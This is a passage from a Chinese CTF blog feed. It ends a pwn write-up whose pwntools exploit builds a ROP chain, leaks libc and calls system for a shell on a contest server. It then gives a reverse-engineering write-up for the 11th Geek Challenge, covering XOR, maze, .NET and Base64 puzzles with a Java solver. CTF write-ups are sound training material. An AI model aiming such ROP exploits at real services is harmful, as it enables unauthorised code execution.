&lt;p&gt;返回到计算出的&lt;code&gt;system&lt;&#x2F;code&gt;函数地址&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;exp如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2212&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# sh=process(&amp;quot;.&#x2F;pwn222&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;elff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn222&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;elflibc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ELF(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;libc&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40122A&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;),p64(elff.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3d&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rbx,rbp,r12,r13,r14,r15
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40112c&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#add
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401231&lt;&#x2F;span&gt;&lt;span&gt;),p64(elff.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rsi,r15
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401233&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#edi
&lt;&#x2F;span&gt;&lt;span&gt;    p64(elff.plt[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]),
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40122A&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFFFFFFFFFFFFFFA0&lt;&#x2F;span&gt;&lt;span&gt;),p64(elff.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3d&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rbx,rbp,r12,r13,r14,r15
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40112c&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#add
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    p64(elff.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_start&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(payload1)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(sh.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sh.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;timeout &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sh_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x18CE17
&lt;&#x2F;span&gt;&lt;span&gt;system_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;write&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;elflibc.symbols[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;payload2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    p64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x401233&lt;&#x2F;span&gt;&lt;span&gt;),p64(sh_addr),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#rdi
&lt;&#x2F;span&gt;&lt;span&gt;    p64(system_addr))
&lt;&#x2F;span&gt;&lt;span&gt;sh.sendline(payload2)
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>第11届极客大挑战-Re WriteUp</title>
        <published>2020-10-24T00:00:00+00:00</published>
        <updated>2020-10-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/geek11re/"/>
        <id>https://richar.top/geek11re/</id>
        
        <content type="html" xml:base="https://richar.top/geek11re/">&lt;h1 id=&quot;no-re-no-gain&quot;&gt;No RE no gain&lt;&#x2F;h1&gt;
&lt;p&gt;文件: HelloRE.exe&lt;&#x2F;p&gt;
&lt;p&gt;IDA打开，有手就行。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;hellore.png&quot; alt=&quot;hellore&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-zhen-bu-hui-xie-qu-dong&quot;&gt;我真不会写驱动！&lt;&#x2F;h1&gt;
&lt;p&gt;文件: SycDriver.sys&lt;&#x2F;p&gt;
&lt;p&gt;有手就行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;SycDriver.png&quot; alt=&quot;SycDriver&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;whatsapk&quot;&gt;WhatsApk&lt;&#x2F;h1&gt;
&lt;p&gt;文件: WhatsApk.apk&lt;&#x2F;p&gt;
&lt;p&gt;apktool解压，vscode搜索&lt;code&gt;SYC{&lt;&#x2F;code&gt;。
&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;whatsapk.png&quot; alt=&quot;whatsapk&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;helloandroid&quot;&gt;HelloAndroid&lt;&#x2F;h1&gt;
&lt;p&gt;文件: HelloAndroid&lt;&#x2F;p&gt;
&lt;p&gt;同上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;HelloAndroid.png&quot; alt=&quot;HelloAndroid&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;re00&quot;&gt;re00&lt;&#x2F;h1&gt;
&lt;p&gt;文件: re00&lt;&#x2F;p&gt;
&lt;p&gt;简单的异或。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;re00_0.png&quot; alt=&quot;re00_0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;re00_1.png&quot; alt=&quot;re00_1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;maze&quot;&gt;maze&lt;&#x2F;h1&gt;
&lt;p&gt;文件: maze.exe&lt;&#x2F;p&gt;
&lt;p&gt;通过字符串找到主函数为&lt;code&gt;sub_401A10&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;maze_0.png&quot; alt=&quot;maze_0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;迷宫宽度为&lt;code&gt;0x1F&lt;&#x2F;code&gt;，&lt;code&gt;o&lt;&#x2F;code&gt;为墙，&lt;code&gt;E&lt;&#x2F;code&gt;为终点。起点是&lt;code&gt;0xD9&lt;&#x2F;code&gt;，换算一下坐标是&lt;code&gt;(7,0)&lt;&#x2F;code&gt;，这道题有一个特殊之处，它的坐标是用一个量表示的，所以可以通过左右从边缘移动到上一行或下一行。&lt;&#x2F;p&gt;
&lt;p&gt;把地图提取出来，可以用正则替换来实现&lt;code&gt;0x1F&lt;&#x2F;code&gt;个字符换行。&lt;code&gt;.{31}&lt;&#x2F;code&gt;替换成&lt;code&gt;$0\n&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;maze_1.png&quot; alt=&quot;maze_1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;地图不大，没有分叉，看看就行。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hello-net&quot;&gt;Hello .NET&lt;&#x2F;h1&gt;
&lt;p&gt;文件: WpfAppCS.exe&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;dnSpy&lt;&#x2F;code&gt;打开。简单的加密函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;WpfAppCS.png&quot; alt=&quot;WpfAppCS&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ArrayList&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Main &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ArrayList&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Integer&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; list &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ArrayList&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Integer&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; array &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;[]{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;35&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;43&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;49&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;52&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;72&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;57&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;145&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;115&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;128&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;115&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; num &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;99&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;(list.size() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; array.length) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;boolean&lt;&#x2F;span&gt;&lt;span&gt; flag &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; num; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;boolean&lt;&#x2F;span&gt;&lt;span&gt; flag2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; num &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(flag2){
&lt;&#x2F;span&gt;&lt;span&gt;                    flag &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(flag){
&lt;&#x2F;span&gt;&lt;span&gt;                list.add(num);
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;            num &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; array.length; i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.print((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;)(list.get(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;array[i]));
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;liu-zhuang-de-basexx&quot;&gt;刘壮的BaseXX&lt;&#x2F;h1&gt;
&lt;p&gt;文件: baseXX.exe&lt;&#x2F;p&gt;
&lt;p&gt;经过简单分析，两次加密，第一次是异或下标和高低位交换，第二次是改版&lt;code&gt;Base64&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;BaseXX.png&quot; alt=&quot;BaseXX&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
